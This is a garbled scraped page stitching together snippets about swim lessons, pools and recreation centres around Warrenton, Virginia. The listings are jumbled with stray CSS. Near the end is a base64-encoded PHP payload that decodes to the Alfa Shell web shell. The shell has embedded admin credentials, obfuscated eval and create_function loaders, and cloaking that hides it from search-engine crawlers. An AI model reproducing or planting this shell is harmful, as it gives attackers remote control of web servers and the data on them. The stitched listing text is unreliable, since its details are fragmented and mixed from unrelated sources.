Try paddling at CM Crockett Park, Riverside Preserve or Rector Tract to celebrate! Sat: 8:00am 6:00pm The Sharks swim team is a great place to make new friends and have a wonderful summer. Swimming Lessons in Warrenton, VA. About Search Results. We will begin to offer a wide range of programs to meet the growing needs of the pickleball community from the Warrenton and surrounding areas. Default; Distance; Rating; Name (A - Z) Sponsored Links. The Swimming Pool also provides changing rooms and other amenities. Contact Us. Share & Bookmark, Press Enter to show all options, press Tab go to next option, Agricultural and Forestal District Advisory Committee, Agricultural Development Advisory Committee, Purchase of Development Rights Selection Review, Rappahannock Rapidan Community Services Board, John Marshall Soil & Water Conservation District, Deeds, Records, Wills, Marriages & Jury Duty, Fauquier County Public School Transportation, Rappahannock Rapidan Regional Transportation, Disc Golf Course at Southern Sports Complex, Parks, Recreation, & Open Space Master Plan. Choose the swim program that works best for your child and start learning to swim today! Fitness | Warrenton, VA BBB Accredited Swimming Lessons near Warrenton, VA | Better Business Experience all that the Town of Warrenton Parks & Recreation has to offer. Adding a business to Yelp is always free. . Contact us. Baby Swim Lessons | 0 - 3 years | SwimKids Swim School VA to begin teaching our lessons at their facility in 2005. Wait List . Click to open the map in a new window. Get Connected. Get a Quote. Swimming Classes For Kids, Babies & Toddlers | SwimKids ADD AN EXTRA DAY and SAVE $30! Hours of Operation (Memorial Day - Labor Day) . Learn more about the activities you can enjoy at the pool! 6379 Airlie Road Warrenton, VA 20187. What are some popular services for swimming lessons/schools? Create a Website Account - Manage notification subscriptions, save form progress and more. School Age "Summer of Fun" Day Camp- Artistic Inspirations, School Age "Summer of STEAM" Day Camp- All About Clay. Warrenton, VA 20186. 4248 Bludau Drive Go. Open everyday from 11am-7pm. Swim Lessons | Take Swimming Classes | Red Cross 540-347-9719 (no phone service in the offseason) 7440 Mill House Ln, Warrenton, VA 20187. Spend time with friends and make new ones. With convenient access to lessons, and caring, thoughtful instruction, Red Cross authorized providers can help you learn to swim in a safe environment - and at your own pace. Stafford Swim Lessons Swimming Instruction 15 YEARS IN BUSINESS (540) 207-1016 Aquia Harbour Stafford, VA 22554 CLOSED NOW 2. Swim team and plenty of recreational swim. Home. The WARF also has a 3,200 square foot fitness room equipped with upright and recumbent cycles, treadmills, elliptical trainers, circuit training gear and free weights. SwimBabies, SwimTots and SwimKidsswim a second day per week and you will receive a $30 discount. See how our tennis pros can take your game to the next level. Get beautifully fitwithstate-of-the art equipment, dynamic group fitness classes and expert personal training. Town of Warrenton Parks and Recreation- WARF | Warrenton VA Wait List . Phone: (540) 349-2520. We are an all-inclusive program for ages 4 months and up. Warrenton Aquatic & Recreation Facility (WARF) - Virginia is for Lovers url('https://chestnutforks.com/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.ttf') format('truetype'), Aquatics - Warrenton Get involved in your local community through the YMCA! url('https://chestnutforks.com/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.eot?#iefix') format('embedded-opentype'); 540-422-8890, Public involvement session for Safe Route To School Grant, Design by GRANICUS - Connecting People & Government. Notify Me. Stafford Mark Lenzi Pool at Curtis Park: 58 Jesse Curtis Lane, Fredericksburg, VA 22406 This facility boasts an Olympic size swimming pool with diving area, a zero-depth entry wading pool with water umbrella, and concession stand. We use a fun, safe, and engaging method that works for all children. Private Swimming Lessons in Warrenton, VA About Search Results Sort: Default 1. Lessons, leagues, camps and more for every level of play. Enroll. Distance. Swim Lessons at The Indoor Pool. SwimKids Swim School - Gainesville 14 Swimming Lessons/Schools Fauquier Swimming Club Government Departments H-Z Parks and Recreation. Contact Us. Streamline (Non-competitive) . Swim lessons for all ages and abilities. Swimmers learn water safety skills, breathing, buoyancy, basic locomotion, and gliding 2 body lengths. 9236 Tournament Drive Warrenton, VA 20186 Phone: 540.347.4205 Take your game to the next level. The L-shaped family pool is 25 meters long with a water depth of 2-6 feet that includes one dedicated lap lane. Permits. Open everyday from 11am-7pm. Pickleball - Chestnut Forks Athletic Club Parks & Rec. Pool Hours M-TH: 5 a.m.-9:30 p.m. Over the years we've had the opportunity to work with a number of outstanding coaches. Warrenton, VA 20186 | (540) 349-2520 | www.warrentonva.gov Revised February 2023 Class Class Code Days Time Email us at info@fauquierswimclub.com. Fitness classes for those of all abilities are held in the WARF's multi-purpose room. Fitness Room Rules (PDF) Group Exercise Classes - Online Registration Instructions (PDF) 1; 2; Aquatics. Participant Availability WA RF Sort:Default. 11. A wading poolis available forchildren up to 42 inches tall and under 6 years of age. WARRENTON AQUATIC AND RECREATION FACILITY - 42 Photos & 17 Reviews - 800 Waterloo Rd, Warrenton, Virginia - Recreation Centers - Phone Number - Yelp Home Services Warrenton Aquatic and Recreation Facility 17 reviews Claimed Recreation Centers Edit Closed 5:00 AM - 8:30 PM See hours See all 42 photos Write a review Add photo Review Highlights Hours. You Belong Here. Questions about individual facilities should be directed to the pools at the contact points listed in "Overview" section of each listing. Cost: Adult-$5, Youth (3-15)-$4, Senior-$4 | Non-county Adult-$7, Youth (3-15)-$5.50, Senior-$5.50 |2 & under-FREE Map. youth 1 & 2 (ages 6 - 12 years) The WARF is a 59,738 square foot building featuring an 11 lane, 25 yard-by-25 meter, 364,000-gallon indoor competition pool; a 3,600-gallon therapeutic spa and a 68,000-gallon leisure pool with a water slide, lazy river, vortex and a zero depth entry for easy entrance by toddlers, seniors and those in wheelchairs. Monday thru Friday : 7:00am 9:00pm Fauquier Swim Club was established in 1957. Learn more about the activities you can enjoy at the pool! Stay cool by our outdoor pool. Gold Panning Demonstrations at the Gold Mining Camp Museum at Monroe Park have returned! Best 30 Swimming Classes in Warrenton, VA | superpages.com Showing: 3 results for Swimming Lessons near Warrenton, VA. The park area surrounding the WARF (the Warrenton Sports Complex) features seven rectangular playing fields, paved hiking paths (view theTrail Map (PDF) ), an inline skating rink and skate park, and the Claude Moore Fun For All Playground. Manassas, VA 20110. Some popular services for swimming lessons/schools include: What are people saying about swimming lessons/schools near Warrenton, VA? 800 Waterloo Road, Warrenton, VA 20186 youth 1 (ages 6 - 10 years) Is your child new to swim lessons and in need of a gentle introduction? All programs are designed to build strong moral values, personal wellness, and fellowship. Swim Lessons at The Indoor Pool - Avalon Golf & Country Club Don't bother going anywhere else to teach your kidsSee more reviews, There was a time when my son would ask me to go swimming everyday because he enjoyed it so much.See more reviews. All adds to our wonderful social environment! Parks & Trails | Warrenton, VA You may contact Swimming Pools for questions . National Canoe Day is June 26, 2023! Address. Skip to Main Content. Home - Fauquier Swim Club After-hour pool rentals are available upon request and staff availability. Red Cross Safety Courses & Adult Fitness Memberships Adult Fitness Memberships, Red Cross Certifications. There is an ADA accessible entry ramp and set of stairs. PRIVATE LESSONS 30 minute sessions 1 - 30 minute Session ($36) 5 - Session Packet ($165) . Warrenton Aquatic & Recreation Facility (WARF) | Warrenton, VA Find your local YMCA! The WARF is a 59,738 square foot building featuring an 11 lane, 25 yard-by-25 meter, 364,000-gallon indoor competition pool; a 3,600-gallon therapeutic spa and a 68,000-gallon leisure pool with a water slide, lazy river, vortex and a zero depth entry for easy entrance by toddlers, seniors and those in wheelchairs. Contact us. Find a Swim Class. Science shows that swim lessons significantly reduce the risk of drowning. url('https://chestnutforks.com/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.eot'), Contact Us. Larry Weeks Community Pool | Fauquier County, VA (PDF) LIFEGUARD CLASS details are here (PDF) Our professional staff and programming is second to none. It offers swim lessons and programs for all ages. Academy Hill Park. Eva Walker Park . Strengthen your body, mind with dynamic group fitness classes and personal training. } #top .avia-font-entypo-fontello, body .avia-font-entypo-fontello, html body [data-av_iconfont='entypo-fontello']:before{ font-family: 'entypo-fontello'; }. Weather may effect these times. Contact Us. Home. If not correct now, please click on the "Edit" button so this listing can be fixed and the information brought current. Employment. Register for Classes - SwimKids Swim School Monday through Friday 8 AM to 4:30 PM. From small group classes to individual lessons, we can tailor lessons to meet everyone's needs. MemberSplash Login. The park is designed to help all children with physical, social and psychological development and provides a place where children of differing abilities and their families can come together and have fun. Home - Chestnut Forks Athletic Club Choose your class based on age and ability level. Weather may effect these times. Larry Weeks Community Pool is open to everyone! Warrenton Aquatic and Recreation Facility (WARF) in Warrenton, VA Culpeper Recreational Club was founded in 1977 with the pool opening in 1979. All distances < 5 Miles < 10 Miles < 25 Miles Warrenton, VA 20186 . Date+Time Preferred Day of Week; SUN MON TUES WED THUR FRI SAT Preferred Time of Day; @font-face {font-family: 'entypo-fontello'; font-weight: normal; font-style: normal; font-display: auto; Aquatics Aquatics POOL UPDATES Leisure Pool Rules (PDF). This is a review for swimming lessons/schools near Warrenton, VA: "My son has been a proud SwimKid for a number of years. Give us a call at 703-396-7946, we are happy to help you find what you need. By Avalon Kids Activities / Childcare, Swimming. Contact Us. Curl-Burke Swim Club Swimming Instruction Sports & Entertainment Centers Sports Clubs & Organizations 22 YEARS IN BUSINESS (703) 709-8274 Sponsors. Sort By. I'd gladly recommend the SWIMKIDS to any parent interested in starting their little one off on the right foot with swim lessons in a safe and nurturing environment.". Address. MemberSplash Login. "ode(\$c));");$x("PD9waHAKCgovKgoKQWxmYSBTaGVsbCAtIHYzCkRlY29kZWQgQnkgSm9rciBIYXhvcgoyMDE4CgoKKi8KCmVycm9yX3JlcG9ydGluZygwKTsKJEdMT0JBTFNbJ0RCX05BTUUnXSA9IGFycmF5KAoJJ3VzZXInID0+ICdhZG1pbicsCgkncGFzcycgPT4gJzU2YWVkN2U3NDg1ZmYwM2Q1NjA1Yjg4NWI4NmU5NDdlJywKCSdzYWZlbW9kZScgPT4gJzAnLAoJJ2xvZ2luX3BhZ2UnID0+ICdndWknLAoJJ3Nob3dfaWNvbnMnID0+ICcxJywKCSdwb3N0X2VuY3J5cHRpb24nID0+IHRydWUsCgknY29sb3InID0+IGFycmF5KCJzaGVsbF9ib3JkZXIiID0+ICIjMEUzMDRBIiwiaGVhZGVyX3ZhcnMiID0+ICIjMjc5NzlCIiwiaGVhZGVyX3ZhbHVlcyIgPT4gIiM2N0FCREYiLCJoZWFkZXJfb24iID0+ICIjMDBGRjAwIiwiaGVhZGVyX29mZiIgPT4gIiNmZjAwMDAiLCJoZWFkZXJfbm9uZSIgPT4gIiMwMEZGMDAiLCJob21lX3NoZWxsIiA9PiAiI2ZmMDAwMCIsImhvbWVfc2hlbGw6aG92ZXIiID0+ICIjRkZGRkZGIiwiYmFja19zaGVsbCIgPT4gIiNlZmJlNzMiLCJiYWNrX3NoZWxsOmhvdmVyIiA9PiAiI0ZGRkZGRiIsImhlYWRlcl9wd2QiID0+ICIjMDBGRjAwIiwiaGVhZGVyX3B3ZDpob3ZlciIgPT4gIiNGRkZGRkYiLCJoZWFkZXJfZHJpdmUiID0+ICIjMDBGRjAwIiwiaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiI0ZGRkZGRiIsImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLCJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLCJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLCJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwibWVudV9vcHRpb25zOmhvdmVyIiA9PiAiIzY0NjQ2NCIsIm9wdGlvbnNfbGlzdCIgPT4gIiMwMEZGMDAiLCJvcHRpb25zX2xpc3Q6aG92ZXIiID0+ICIjRkZGRkZGIiwib3B0aW9uc19saXN0X2hlYWRlciIgPT4gIiM1OWNjMzMiLCJvcHRpb25zX2xpc3RfdGV4dCIgPT4gIiNGRkZGRkYiLCJBbGZhKyIgPT4gIiMyN0U4QUUiLCJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gIiMwMEZGMDAiLCJoaWRkZW5fc2hlbGxfdmVyc2lvbiIgPT4gIiNmZjAwMDAiLCJzaGVsbF9uYW1lIiA9PiAiI0ZGMDAwMCIsIm1haW5fcm93OmhvdmVyIiA9PiAiIzY0NjQ2NCIsIm1haW5faGVhZGVyIiA9PiAiI0ZGRkZGRiIsIm1haW5fbmFtZSIgPT4gIiNGRkZGRkYiLCJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLCJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLCJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwibWFpbl9hY3Rpb25zIiA9PiAiI0ZGRkZGRiIsIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiAiIzBlMzA0YSIsIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiAiI2Y1ZGViMyIsImVkaXRvcl9ib3JkZXIiID0+ICIjMGUzMDRhIiwiZWRpdG9yX2JhY2tncm91bmQiID0+ICJyZ2JhKDAsIDEsIDIzLCAwLjk0KSIsImVkaXRvcl9oZWFkZXJfYmFja2dyb3VuZCIgPT4gInJnYmEoMjEsIDY2LCA4OCwgMC45MykiLCJlZGl0b3JfaGVhZGVyX3RleHQiID0+ICIjMDBmZjdmIiwiZWRpdG9yX2hlYWRlcl9idXR0b24iID0+ICIjMWQ1NjczIiwiZWRpdG9yX2FjdGlvbnMiID0+ICIjRkZGRkZGIiwiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiAiI0ZGRkZGRiIsImVkaXRvcl9maWxlX2luZm9fdmFsdWVzIiA9PiAiIzY3QUJERiIsImVkaXRvcl9oaXN0b3J5X2hlYWRlciIgPT4gIiMxNGZmMDciLCJlZGl0b3JfaGlzdG9yeV9saXN0IiA9PiAiIzAzYjNhMyIsImVkaXRvcl9oaXN0b3J5X3NlbGVjdGVkX2ZpbGUiID0+ICJyZ2JhKDQ5LCA1NSwgOTMsIDAuNzcpIiwiZWRpdG9yX2hpc3RvcnlfZmlsZTpob3ZlciIgPT4gIiM2NDY0NjQiLCJpbnB1dF9ib3hfYm9yZGVyIiA9PiAiIzBFMzA0QSIsImlucHV0X2JveF90ZXh0IiA9PiAiIzk5OTk5OSIsImlucHV0X2JveDpob3ZlciIgPT4gIiMyNzk3OUIiLCJzZWxlY3RfYm94X2JvcmRlciIgPT4gIiMwRTMwNEEiLCJzZWxlY3RfYm94X3RleHQiID0+ICIjRkZGRkVFIiwic2VsZWN0X2JveDpob3ZlciIgPT4gIiMyNzk3OUIiLCJidXR0b25fYm9yZGVyIiA9PiAiIzI3OTc5QiIsImJ1dHRvbjpob3ZlciIgPT4gIiMyNzk3OUIiLCJvdXRwdXRzX3RleHQiID0+ICIjNjdBQkRGIiwib3V0cHV0c19ib3JkZXIiID0+ICIjMEUzMDRBIiwidXBsb2FkZXJfYm9yZGVyIiA9PiAiIzBFMzA0QSIsInVwbG9hZGVyX2JhY2tncm91bmQiID0+ICIjMEUzMDRBIiwidXBsb2FkZXJfdGV4dF9yaWdodCIgPT4gIiNGRkZGRkYiLCJ1cGxvYWRlcl90ZXh0X2xlZnQiID0+ICIjMjVmZjAwIiwidXBsb2FkZXI6aG92ZXIiID0+ICIjMjc5NzlCIiwidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiAiI2ZmMDAwMCIsIm15c3FsX3RhYmxlcyIgPT4gIiMwMEZGMDAiLCJteXNxbF90YWJsZV9jb3VudCIgPT4gIiM2N0FCREYiLCJjb3B5cmlnaHQiID0+ICIjZmYwMDAwIiwic2Nyb2xsYmFyIiA9PiAiIzFlODJiNSIsInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiAiIzAwMDExNSIsKSwKKTsKCgppZighZnVuY3Rpb25fZXhpc3RzKCdiYXMnLidlJy4nNjRfJy4nZW4nLidjb2RlJykpe2Z1bmN0aW9uIF9fWlc1amIyUmxjZygkZGF0YSl7aWYoZW1wdHkoJGRhdGEpKXJldHVybjsKJGI2ND0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nOwokbzEgPSAkbzIgPSAkbzMgPSAkaDEgPSAkaDIgPSAkaDMgPSAkaDQgPSAkYml0cyA9ICRpID0gMDsKJGFjID0gMDsKJGVuYyA9ICcnOwokdG1wX2FyciA9IGFycmF5KCk7CmlmKCEkZGF0YSl7cmV0dXJuICRkYXRhOwp9ZG97JG8xID0gY2hhckNvZGVBdCgkZGF0YSwgJGkrKyk7CiRvMiA9IGNoYXJDb2RlQXQoJGRhdGEsICRpKyspOwokbzMgPSBjaGFyQ29kZUF0KCRkYXRhLCAkaSsrKTsKJGJpdHMgPSAkbzEgPDwgMTYgfCAkbzIgPDwgOCB8ICRvMzsKJGgxID0gJGJpdHMgPj4gMTggJiAweDNmOwokaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7CiRoMyA9ICRiaXRzID4+IDYgJiAweDNmOwokaDQgPSAkYml0cyAmIDB4M2Y7CiR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpLmNoYXJBdCgkYjY0LCAkaDIpLmNoYXJBdCgkYjY0LCAkaDMpLmNoYXJBdCgkYjY0LCAkaDQpOwp9IHdoaWxlICgkaSA8IHN0cmxlbigkZGF0YSkpOwokZW5jID0gaW1wbG9kZSgkdG1wX2FyciwgJycpOwokciA9IChzdHJsZW4oJGRhdGEpICUgMyk7CnJldHVybiAoJHIgPyBzdWJzdHIoJGVuYywgMCwgKCRyIC0gMykpIDogJGVuYykuc3Vic3RyKCc9PT0nLCAoJHIgfHwgMykpOwp9ZnVuY3Rpb24gY2hhckNvZGVBdCgkZGF0YSwgJGNoYXIpeyByZXR1cm4gb3JkKHN1YnN0cigkZGF0YSwgJGNoYXIsIDEpKTsKfWZ1bmN0aW9uIGNoYXJBdCgkZGF0YSwgJGNoYXIpe3JldHVybiBzdWJzdHIoJGRhdGEsICRjaGFyLCAxKTsKfX1lbHNle2Z1bmN0aW9uIF9fWlc1amIyUmxjZygkcyl7JGI9J2InLidhcycuJ2U2Jy4nNF8nLidlbicuJ2NvJy4nZGUnOwpyZXR1cm4gJGIoJHMpOwp9fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2InLidhJy4nc2UnLic2Jy4nNF8nLidkJy4nZWMnLidvZGUnKSl7ZnVuY3Rpb24gX19aR1ZqYjJSbGNnKCRpbnB1dCl7aWYoZW1wdHkoJGlucHV0KSlyZXR1cm47CiRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOwokY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKJGVuYzEgPSAkZW5jMiA9ICRlbmMzID0gJGVuYzQgPSAiIjsKJGkgPSAwOwokb3V0cHV0ID0gIiI7CiRpbnB1dCA9IHByZWdfcmVwbGFjZSgiW15BLVphLXowLTlcK1wvXD1dIiwgIiIsICRpbnB1dCk7CmRveyRlbmMxID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKJGVuYzIgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwokZW5jMyA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiRlbmM0ID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKJGNocjEgPSAoJGVuYzEgPDwgMikgfCAoJGVuYzIgPj4gNCk7CiRjaHIyID0gKCgkZW5jMiAmIDE1KSA8PCA0KSB8ICgkZW5jMyA+PiAyKTsKJGNocjMgPSAoKCRlbmMzICYgMykgPDwgNikgfCAkZW5jNDsKJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkgJGNocjEpOwppZiAoJGVuYzMgIT0gNjQpIHskb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSAkY2hyMik7Cn1pZiAoJGVuYzQgIT0gNjQpIHskb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSAkY2hyMyk7Cn0kY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKJGVuYzEgPSAkZW5jMiA9ICRlbmMzID0gJGVuYzQgPSAiIjsKfXdoaWxlKCRpIDwgc3RybGVuKCRpbnB1dCkpOwpyZXR1cm4gJG91dHB1dDsKfX1lbHNle2Z1bmN0aW9uIF9fWkdWamIyUmxjZygkcyl7JGI9J2InLidhcycuJ2U2Jy4nNF8nLidkZScuJ2NvJy4nZGUnOwpyZXR1cm4gJGIoJHMpOwp9fSRjcj0nY3JlJy4nYXRlJy4nX2Z1bicuJ2N0Jy4naW8nLiduJzsKJF8yMDEyID0gJGNyKCckeCcsJ2V2YWwnLicoZycuJ3ppJy4nbmYnLidsYScuJ3RlJy4nKCcuJ18nLidfWkcnLidWaicuJ2IyJy4nUmxjJy4nZygkJy4neCknLicpJy4nKScuJzsKJyk7CgoKPz48P3BocCAgCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXskdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCJTbHVycCIsIk1TTkJvdCIsImlhX2FyY2hpdmVyIiwiWWFuZGV4IiwiUmFtYmxlciIsImJvdCIsInNwaWRlciIpO2lmKHByZWdfbWF0Y2goJy8nLmltcGxvZGUoJ3wnLCR1c2VyQWdlbnRzKS4nL2knLCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpe2hlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpO2V4aXQ7fX0gIGlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3VzZXJcJ10nKTsgIGlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsgIGlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzYWZlbW9kZVwnXScpOyAgaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnbG9naW5fcGFnZVwnXScpOyAgaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOyAgaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bvc3RfZW5jcnlwdGlvbiddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdwb3N0X2VuY3J5cHRpb25cJ10nKTsgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FzaWEvVGVocmFuJyk7ICBkZWZpbmUoIl9fQUxGQV9NRDVOQU1FX18iLCBtZDUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSk7ICBkZWZpbmUoIl9fQUxGQV9WRVJTSU9OX18iLCAiMy4wLjAiKTsgIGRlZmluZSgiX19MQVNUX0NXRF9fIiwgImxhc3RfY3dkXyIuX19BTEZBX01ENU5BTUVfXyk7ICBkZWZpbmUoIl9fUEFUSF9ISVNUT1JZX18iLCAicGF0aF9oaXN0b3J5XyIuX19BTEZBX01ENU5BTUVfXyk7ICBkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsgICRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddID0gYXJyYXkoInNoZWxsX2JvcmRlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5oZWFkZXIiID0+ICJib3JkZXI6IDdweCBzb2xpZCB7Y29sb3J9IiwgIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsICIjaGlkZGVuX3NoIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfSIsICIuYWpheGFyZWEiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwgIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IikpLCAiaGVhZGVyX3ZhcnMiID0+ICIjMjc5NzlCIiwgImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwgImhlYWRlcl9vbiIgPT4gIiMwMEZGMDAiLCAiaGVhZGVyX29mZiIgPT4gIiNmZjAwMDAiLCAiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwgImhvbWVfc2hlbGwiID0+ICIjZmYwMDAwIiwgImhvbWVfc2hlbGw6aG92ZXIiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuaG9tZV9zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwgImJhY2tfc2hlbGw6aG92ZXIiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImhlYWRlcl9wd2QiID0+ICIjMDBGRjAwIiwgImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuaGVhZGVyX3B3ZDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImhlYWRlcl9kcml2ZSIgPT4gIiMwMEZGMDAiLCAiaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLmhlYWRlcl9kcml2ZTpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLCAiZGlzYWJsZV9mdW5jdGlvbnMiID0+ICIjZmYwMDAwIiwgImZvb3Rlcl90ZXh0IiA9PiAiIzI3OTc5QiIsICJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwgIm1lbnVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiKSksICJvcHRpb25zX2xpc3QiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiIzAwRkYwMCIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuYWpheGFyZWEgLmhlYWRlciBjZW50ZXIgYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgIm9wdGlvbnNfbGlzdDpob3ZlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5hamF4YXJlYSAuaGVhZGVyIGNlbnRlciBhOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCAib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi50eHRmb250X2hlYWRlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgIm9wdGlvbnNfbGlzdF90ZXh0IiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgIkFsZmErIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiMyN0U4QUUiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLmFsZmFfcGx1cyIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiKSksICJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIiNoaWRkZW5fc2ggYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImhpZGRlbl9zaGVsbF92ZXJzaW9uIiA9PiAiI2ZmMDAwMCIsICJzaGVsbF9uYW1lIiA9PiAiI0ZGMDAwMCIs